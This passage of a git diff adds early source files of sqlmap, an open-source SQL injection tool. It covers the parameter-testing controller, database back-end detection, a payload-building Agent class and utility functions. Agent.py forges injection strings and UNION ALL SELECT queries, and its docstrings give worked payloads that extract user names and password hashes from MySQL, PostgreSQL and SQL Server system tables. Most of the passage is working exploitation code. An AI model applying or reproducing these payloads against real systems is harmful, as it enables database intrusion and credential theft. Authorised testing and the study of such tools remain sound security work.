logger.info(logMsg) + else: + errMsg = "url is not stable, try with --string option, refer " + errMsg += "to the user's manual paragraph 'String match' " + errMsg += "for details" + + if conf.googleDork: + errMsg += ", skipping to next url" + logger.warn(errMsg) + + continue + else: + raise sqlmapConnectionException, errMsg + + for place in conf.parameters.keys(): + if not conf.paramDict.has_key(place): + continue + + paramDict = conf.paramDict[place] + + for parameter, value in paramDict.items(): + if not checkDynParam(place, parameter, value): + warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter) + logger.warn(warnMsg) + else: + logMsg = "%s parameter '%s' is dynamic" % (place, parameter) + logger.info(logMsg) + + for parenthesis in range(0, 4): + logMsg = "testing sql injection on %s " % place + logMsg += "parameter '%s' with " % parameter + logMsg += "%d parenthesis" % parenthesis + logger.info(logMsg) + + injType = checkSqlInjection(place, parameter, value, parenthesis) + + if injType: + injData.append((place, parameter, injType)) + + break + else: + warnMsg = "%s parameter '%s' is not " % (place, parameter) + warnMsg += "injectable with %d parenthesis" % parenthesis + logger.warn(warnMsg) + + if not kb.injPlace or not kb.injParameter or not kb.injType: + if len(injData) == 1: + injDataSelected = injData[0] + elif len(injData) > 1: + injDataSelected = __selectInjection(injData) + else: + return + + if injDataSelected == "Quit": + return + else: + kb.injPlace, kb.injParameter, kb.injType = injDataSelected + setInjection() + + if not conf.googleDork and ( not kb.injPlace or not kb.injParameter or not kb.injType ): + raise sqlmapNotVulnerableException, "all parameters are not injectable" + elif kb.injPlace and kb.injParameter and kb.injType: + condition = False + + if conf.googleDork: + message = "do you want to exploit this SQL injection? [Y/n] " + exploit = readInput(message, default="Y") + + if not exploit or exploit[0] in ("y", "Y"): + condition = True + else: + condition = True + + if condition: + checkForParenthesis() + createTargetDirs() + action() + + if conf.loggedToOut: + logger.info("Fetched data logged to text files under '%s'" % conf.outputPath) diff --git a/lib/controller/handler.py b/lib/controller/handler.py new file mode 100644 index 000000000..11385d214 --- /dev/null +++ b/lib/controller/handler.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python + +""" +$Id: handler.py 283 2008-07-25 15:16:11Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.settings import MSSQL_ALIASES +from lib.core.settings import MYSQL_ALIASES +from lib.core.settings import ORACLE_ALIASES +from lib.core.settings import PGSQL_ALIASES + +from plugins.dbms.mssqlserver import MSSQLServerMap +from plugins.dbms.mysql import MySQLMap +from plugins.dbms.oracle import OracleMap +from plugins.dbms.postgresql import PostgreSQLMap + + +def setHandler(): + """ + Detect which is the target web application back-end database + management system. + """ + + count = 0 + dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server" ) + dbmsMap = ( + ( MYSQL_ALIASES, MySQLMap ), + ( ORACLE_ALIASES, OracleMap ), + ( PGSQL_ALIASES, PostgreSQLMap ), + ( MSSQL_ALIASES, MSSQLServerMap ), + ) + + for dbmsAliases, dbmsEntry in dbmsMap: + if conf.dbms and conf.dbms not in dbmsAliases: + debugMsg = "skipping to test for %s" % dbmsNames[count] + logger.debug(debugMsg) + count += 1 + continue + + dbmsHandler = dbmsEntry() + + if dbmsHandler.checkDbms(): + if not conf.dbms or conf.dbms in dbmsAliases: + kb.dbmsDetected = True + + return dbmsHandler + + return None diff --git a/lib/core/__init__.py b/lib/core/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/lib/core/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/lib/core/agent.py b/lib/core/agent.py new file mode 100644 index 000000000..c056099c2 --- /dev/null +++ b/lib/core/agent.py @@ -0,0 +1,385 @@ +#!/usr/bin/env python + +""" +$Id: agent.py 357 2008-09-21 18:52:16Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.common import randomInt +from lib.core.common import randomStr +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import queries +from lib.core.data import temp +from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import sqlmapUnsupportedDBMSException + + +class Agent: + """ + This class defines the SQL agent methods. + """ + + def __init__(self): + temp.delimiter = randomStr(6) + temp.start = randomStr(6) + temp.stop = randomStr(6) + + + def payload(self, place=None, parameter=None, value=None, newValue=None): + """ + This method replaces the affected parameter with the SQL + injection statement to request + """ + + retValue = "" + + # After identifing the injectable parameter + if kb.injPlace == "User-Agent": + retValue = kb.injParameter.replace(kb.injParameter, + kb.injParameter + newValue) + elif kb.injParameter: + paramString = conf.parameters[kb.injPlace] + paramDict = conf.paramDict[kb.injPlace] + value = paramDict[kb.injParameter] + retValue = paramString.replace("%s=%s" % (kb.injParameter, value), + "%s=%s" % (kb.injParameter, value + newValue)) + + # Before identifing the injectable parameter + elif parameter == "User-Agent": + retValue = value.replace(value, newValue) + else: + paramString = conf.parameters[place] + retValue = paramString.replace("%s=%s" % (parameter, value), + "%s=%s" % (parameter, newValue)) + + return retValue + + + def prefixQuery(self, string): + """ + This method defines how the input string has to be escaped + to perform the injection depending on the injection type + identified as valid + """ + + query = "" + + if kb.injType == "numeric": + pass + elif kb.injType in ( "stringsingle", "likesingle" ): + query = "'" + elif kb.injType in ( "stringdouble", "likedouble" ): + query = "\"" + else: + raise sqlmapNoneDataException, "unsupported injection type" + + if kb.parenthesis != None: + query += "%s " % (")" * kb.parenthesis) + + query += string + + return query + + + def postfixQuery(self, string, comment=None): + """ + This method appends the DBMS comment to the + SQL injection request + """ + + randInt = randomInt() + randStr = randomStr() + + if comment: + string += "%s" % comment + + if kb.parenthesis != None: + string += " AND %s" % ("(" * kb.parenthesis) + else: + raise sqlmapNoneDataException, "unable to get the number of parenthesis" + + if kb.injType == "numeric": + string += "%d=%d" % (randInt, randInt) + elif kb.injType == "stringsingle": + string += "'%s'='%s" % (randStr, randStr) + elif kb.injType == "likesingle": + string += "'%s' LIKE '%s" % (randStr, randStr) + elif kb.injType == "stringdouble": + string += "\"%s\"=\"%s" % (randStr, randStr) + elif kb.injType == "likedouble": + string += "\"%s\" LIKE \"%s" % (randStr, randStr) + else: + raise sqlmapNoneDataException, "unsupported injection type" + + return string + + + def nullAndCastField(self, field): + """ + Take in input a field string and return its processed nulled and + casted field string. + + Examples: + + MySQL input: VERSION() + MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ') + MySQL scope: VERSION() + + PostgreSQL input: VERSION() + PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ') + PostgreSQL scope: VERSION() + + Oracle input: banner + Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ') + Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1 + + Microsoft SQL Server input: @@VERSION + Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ') + Microsoft SQL Server scope: @@VERSION + + @param field: field string to be processed + @type field: C{str} + + @return: field string nulled and casted + @rtype: C{str} + """ + + nulledCastedField = queries[kb.dbms].cast % field + nulledCastedField = queries[kb.dbms].isnull % nulledCastedField + + return nulledCastedField + + + def nullCastConcatFields(self, fields): + """ + Take in input a sequence of fields string and return its processed + nulled, casted and concatenated fields string. + + Examples: + + MySQL input: user,password + MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ') + MySQL scope: SELECT user, password FROM mysql.user + + PostgreSQL input: usename,passwd + PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ') + PostgreSQL scope: SELECT usename, passwd FROM pg_shadow + + Oracle input: COLUMN_NAME,DATA_TYPE + Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ') + Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' + + Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password) + Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ') + Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins + + @param fields: fields string to be processed + @type fields: C{str} + + @return: fields string nulled, casted and concatened + @rtype: C{str} + """ + + if not kb.dbmsDetected: + return fields + + fields = fields.replace(", ", ",") + fieldsSplitted = fields.split(",") + dbmsDelimiter = queries[kb.dbms].delimiter + nulledCastedFields = [] + + for field in fieldsSplitted: + nulledCastedFields.append(self.nullAndCastField(field)) + + delimiterStr = "%s'%s'%s" % (dbmsDelimiter, temp.delimiter, dbmsDelimiter) + nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields]) + + return nulledCastedConcatFields + + + def getFields(self, query): + fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) + fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I) + fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I) + fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I) + fieldsNoSelect = query + + if fieldsSelectTop: + fieldsToCast = fieldsSelectTop.groups()[0] + elif fieldsSelectDistinct: + fieldsToCast = fieldsSelectDistinct.groups()[0] + elif fieldsSelectFrom: + fieldsToCast = fieldsSelectFrom.groups()[0] + elif fieldsSelect: + fieldsToCast = fieldsSelect.groups()[0] + elif fieldsNoSelect: + fieldsToCast = fieldsNoSelect + + return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast + + + def concatQuery(self, query): + """ + Take in input a query string and return its processed nulled, + casted and concatenated query string. + + Examples: + + MySQL input: SELECT user, password FROM mysql.user + MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user + + PostgreSQL input: SELECT usename, passwd FROM pg_shadow + PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow + + Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' + Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS' + + Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins + Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins + + @param query: query string to be processed + @type query: C{str} + + @return: query string nulled, casted and concatenated + @rtype: C{str} + """ + + concatQuery = "" + query = query.replace(", ", ",") + + fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast = self.getFields(query) + castedFields = self.nullCastConcatFields(fieldsToCast) + concatQuery = query.replace(fieldsToCast, castedFields, 1) + + if kb.dbms == "MySQL": + if fieldsSelectFrom: + concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1) + concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1) + elif fieldsSelect: + concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1) + concatQuery += ",'%s')" % temp.stop + elif fieldsNoSelect: + concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop) + + elif kb.dbms in ( "Oracle", "PostgreSQL" ): + if fieldsSelectFrom: + concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1) + concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1) + elif fieldsSelect: + concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1) + concatQuery += "||'%s'" % temp.stop + + if kb.dbms == "Oracle": + concatQuery += " FROM DUAL" + elif fieldsNoSelect: + concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop) + + if kb.dbms == "Oracle": + concatQuery += " FROM DUAL" + + elif kb.dbms == "Microsoft SQL Server": + if fieldsSelectFrom: + concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1) + concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1) + elif fieldsSelect: + concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1) + concatQuery += "+'%s'" % temp.stop + elif fieldsNoSelect: + concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop) + + return concatQuery + + + def forgeInbandQuery(self, query, exprPosition=None): + """ + Take in input an query (pseudo query) string and return its + processed UNION ALL SELECT query. + + Examples: + + MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user + MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488 + + PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow + PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713 + + Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83)) + Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738 + + Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins + Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254 + + @param query: it is a processed query string unescaped to be + forged within an UNION ALL SELECT statement + @type query: C{str} + + @param exprPosition: it is the NULL position where it is possible + to inject the query + @type exprPosition: C{int} + + @return: UNION ALL SELECT query string forged + @rtype: C{str} + """ + + inbandQuery = self.prefixQuery("UNION ALL SELECT ") + + if not exprPosition: + exprPosition = kb.unionPosition + + if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"): + inbandQuery = inbandQuery[:-len(" FROM DUAL")] + + for element in range(kb.unionCount): + if element > 0: + inbandQuery += ", " + + if element == exprPosition: + if " FROM " in query: + conditionIndex = query.rindex(" FROM ") + inbandQuery += "%s" % query[:conditionIndex] + else: + inbandQuery += "%s" % query + else: + inbandQuery += "NULL" + + if " FROM " in query: + conditionIndex = query.rindex(" FROM ") + inbandQuery += "%s" % query[conditionIndex:] + + if kb.dbms == "Oracle": + if " FROM " not in inbandQuery: + inbandQuery += " FROM DUAL" + + if " ORDER BY " in inbandQuery: + orderIndex = inbandQuery.index(" ORDER BY ") + inbandQuery = inbandQuery[:orderIndex] + + inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment) + + return inbandQuery + + +# SQL agent +agent = Agent() diff --git a/lib/core/common.py b/lib/core/common.py new file mode 100644 index 000000000..d4164d810 --- /dev/null +++ b/lib/core/common.py @@ -0,0 +1,549 @@ +#!/usr/bin/env python + +""" +$Id: common.py 368 2008-09-30 00:09:59Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import os +import random +import re +import string +import sys +import time +import urlparse + + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import temp +from lib.core.exception import sqlmapFilePathException +from lib.core.data import paths +from lib.core.settings import VERSION_STRING + + +def paramToDict(place, parameters=None): + """ + Split the parameters into names and values, check if these parameters + are within the testable parameters and return in a dictionary. + + @param place: where sqlmap has to work, can be GET, POST or Cookie. + @type place: C{str} + + @param parameters: parameters string in the format for instance + 'p1=v1&p2=v2' (GET and POST) or 'p1=v1;p2=v2' (Cookie). + @type parameters: C{str} + + @return: the parameters in a dictionary. + @rtype: C{str} + """ + + testableParameters = {} + + if conf.parameters.has_key(place) and not parameters: + parameters = conf.parameters[place] + + parameters = parameters.replace(", ", ",") + + if place == "Cookie": + splitParams = parameters.split(";") + else: + splitParams = parameters.split("&") + + for element in splitParams: + elem = element.split("=") + + if len(elem) == 2: + parameter = elem[0] + + condition = not conf.testParameter + condition |= parameter in conf.testParameter + + if condition: + value = elem[1] + if value: + testableParameters[parameter] = value + + if conf.testParameter and not testableParameters: + paramStr = ", ".join(test for test in conf.testParameter) + + if len(conf.testParameter) > 1: + warnMsg = "the testable parameters '%s' " % paramStr + warnMsg += "you provided are not into the %s" % place + else: + parameter = conf.testParameter[0] + + warnMsg = "the testable parameter '%s' " % paramStr + warnMsg += "you provided is not into the %s" % place + + if conf.googleDork: + warnMsg += ", skipping to next url" + + logger.warn(warnMsg) + + elif len(conf.testParameter) != len(testableParameters.keys()): + for parameter in conf.testParameter: + if not testableParameters.has_key(parameter): + warnMsg = "the testable parameter '%s' " % parameter + warnMsg += "you provided is not into the %s" % place + logger.warn(warnMsg) + + return testableParameters + + +def formatFingerprint(versions=None): + """ + This function format the back-end DBMS fingerprint value and return its + values formatted as a human readable string. + + @return: detected back-end DBMS based upon fingerprint techniques. + @rtype: C{str} + """ + + if not versions: + versions = kb.dbmsVersion + + if isinstance(versions, str): + return "%s %s" % (kb.dbms, versions) + elif isinstance(versions, (list, set, tuple)): + return "%s %s" % (kb.dbms, " and ".join([version for version in versions])) + + +def getHtmlErrorFp(): + """ + This function parses the knowledge base htmlFp list and return its + values formatted as a human readable string. + + @return: list of possible back-end DBMS based upon error messages + parsing. + @rtype: C{str} + """ + + htmlParsed = "" + + if not kb.htmlFp: + return None + + if len(kb.htmlFp) == 1: + htmlVer = kb.htmlFp[0] + htmlParsed = htmlVer + elif len(kb.htmlFp) > 1: + htmlParsed = "or ".join([htmlFp for htmlFp in kb.htmlFp]) + + return htmlParsed + + +def getDocRoot(): + """ + This method returns the web application document root based on the + detected absolute files paths in the knowledge base. + """ + + docRoot = None + + if kb.absFilePaths: + logMsg = "retrieved the possible injectable " + logMsg += "file absolute system paths: " + logMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths) + logger.info(logMsg) + else: + warnMsg = "unable to retrieve the injectable file " + warnMsg += "absolute system path" + logger.warn(warnMsg) + + for absFilePath in kb.absFilePaths: + if conf.path in absFilePath: + index = absFilePath.index(conf.path) + docRoot = absFilePath[:index] + break + + if docRoot: + logMsg = "retrieved the remote web server " + logMsg += "document root: '%s'" % docRoot + logger.info(logMsg) + else: + warnMsg = "unable to retrieve the remote web server " + warnMsg += "document root" + logger.warn(warnMsg) + + return docRoot + + +def getDirectories(): + """ + This method calls a function that returns the web application document + root and injectable file absolute system path. + + @return: a set of paths (document root and absolute system path). + @rtype: C{set} + @todo: replace this function with a site crawling functionality. + """ + + directories = set() + + kb.docRoot = getDocRoot() + + if kb.docRoot: + directories.add(kb.docRoot) + + pagePath = re.search('^/(.*)/', conf.path) + + if kb.docRoot and pagePath: + pagePath = pagePath.groups()[0] + + directories.add("%s/%s" % (kb.docRoot, pagePath)) + + return directories + + +def filePathToString(filePath): + string = filePath.replace("/", "_").replace("\\", "_") + string = string.replace(" ", "_").replace(":", "_") + + return string + + +def dataToStdout(data): + sys.stdout.write(data) + sys.stdout.flush() + + +def dataToSessionFile(data): + conf.sessionFP.write(data) + conf.sessionFP.flush() + + +def dataToDumpFile(dumpFile, data): + dumpFile.write(data) + dumpFile.flush() + + +def strToHex(string): + """ + @param string: string to be converted into its hexadecimal value. + @type string: C{str} + + @return: the hexadecimal converted string. + @rtype: C{str} + """ + + hexStr = "" + + for character in string: + if character == "\n": + character = " " + + hexChar = "%2x" % ord(character) + hexChar = hexChar.replace(" ", "0") + hexChar = hexChar.upper() + + hexStr += hexChar + + return hexStr + + +def fileToStr(fileName): + """ + @param fileName: file path to read the content and return as a no + NEWLINE string. + @type fileName: C{file.open} + + @return: the file content as a string without TAB and NEWLINE. + @rtype: C{str} + """ + + filePointer = open(fileName, "r") + fileText = filePointer.read() + + fileText = fileText.replace(" ", "") + fileText = fileText.replace("\t", "") + fileText = fileText.replace("\r", "") + fileText = fileText.replace("\n", " ") + + return fileText + + +def fileToHex(fileName): + """ + @param fileName: file path to read the content and return as an + hexadecimal string. + @type fileName: C{file.open} + + @return: the file content as an hexadecimal string. + @rtype: C{str} + """ + + fileText = fileToStr(fileName) + hexFile = strToHex(fileText) + + return hexFile + + +def readInput(message, default=None): + """ + @param message: message to display on terminal. + @type message: C{str} + + @return: a string read from keyboard as input. + @rtype: C{str} + """ + + if conf.batch and default: + infoMsg = "%s%s" % (message, str(default)) + logger.info(infoMsg) + + debugMsg = "used the default behaviour, running in batch mode" + logger.debug(debugMsg) + + data = default + else: + data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message)) + + return data + + +def randomRange(start=0, stop=1000): + """ + @param start: starting number. + @type start: C{int} + + @param stop: last number. + @type stop: C{int} + + @return: a random number within the range. + @rtype: C{int} + """ + + return int(random.randint(start, stop)) + + +def randomInt(length=4): + """ + @param length: length of the random string. + @type length: C{int} + + @return: a random string of digits. + @rtype: C{str} + """ + + return int("".join([random.choice(string.digits) for _ in xrange(0, length)])) + + +def randomStr(length=5): + """ + @param length: length of the random string. + @type length: C{int} + + @return: a random string of characters. + @rtype: C{str} + """ + + return "".join([random.choice(string.letters) for _ in xrange(0, length)]) + + +def sanitizeStr(string): + """ + @param string: string to sanitize: cast to str datatype and replace + newlines with one space and strip carriage returns. + @type string: C{str} + + @return: sanitized string + @rtype: C{str} + """ + + cleanString = str(string) + cleanString = cleanString.replace("\n", " ").replace("\r", "") + + return cleanString + + +def checkFile(filename): + """ + @param filename: filename to check if it exists. + @type filename: C{str} + """ + + if not os.path.exists(filename): + raise sqlmapFilePathException, "unable to read file '%s'" % filename + + +def replaceNewlineTabs(string): + replacedString = string.replace("\n", "__NEWLINE__").replace("\t", "__TAB__") + replacedString = replacedString.replace(temp.delimiter, "__DEL__") + + return replacedString + + +def banner(): + """ + This function prints sqlmap banner with its version + """ + + print """ + %s coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + """ % VERSION_STRING + + +def parsePasswordHash(password): + blank = " " * 8 + + if not password or password == " ": + password = "NULL" + + if kb.dbms == "Microsoft SQL Server" and password != "NULL": + hexPassword = password + password = "%s\n" % hexPassword + password += "%sheader: %s\n" % (blank, hexPassword[:6]) + password += "%ssalt: %s\n" % (blank, hexPassword[6:14]) + password += "%smixedcase: %s\n" % (blank, hexPassword[14:54]) + + if kb.dbmsVersion[0] not in ( "2005", "2008" ): + password += "%suppercase: %s" % (blank, hexPassword[54:]) + + return password + + +def cleanQuery(query): + upperQuery = query.replace("select ", "SELECT ") + upperQuery = upperQuery.replace(" from ", " FROM ") + upperQuery = upperQuery.replace(" limit ", " LIMIT ") + upperQuery = upperQuery.replace(" offset ", " OFFSET ") + upperQuery = upperQuery.replace(" order by ", " ORDER BY ") + upperQuery = upperQuery.replace(" group by ", " GROUP BY ") + upperQuery = upperQuery.replace(" union all ", " UNION ALL ") + + return upperQuery + + +def setPaths(): + # sqlmap paths + paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH + paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH + paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH + paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH + paths.SQLMAP_DUMP_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/dump" + paths.SQLMAP_FILES_PATH = paths.SQLMAP_OUTPUT_PATH + "/%s/files" + + # sqlmap files + paths.SQLMAP_HISTORY = "%s/.sqlmap_history" % paths.SQLMAP_ROOT_PATH + paths.SQLMAP_CONFIG = "%s/sqlmap-%s.conf" % (paths.SQLMAP_ROOT_PATH, randomStr()) + paths.FUZZ_VECTORS = 